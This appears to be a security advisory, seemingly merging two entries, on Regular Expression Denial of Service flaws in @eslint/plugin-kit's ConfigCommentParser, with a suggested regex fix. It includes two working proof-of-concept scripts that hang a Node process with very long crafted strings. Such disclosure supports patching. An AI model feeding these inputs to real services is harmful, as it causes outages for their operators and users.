Version Details and Security Vulnerabilities

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Summary

The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.

Details

The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].

PoC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

const str = `${"A".repeat(1000000)}?: 1 B: 2`;

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")

// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage

Impact

This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.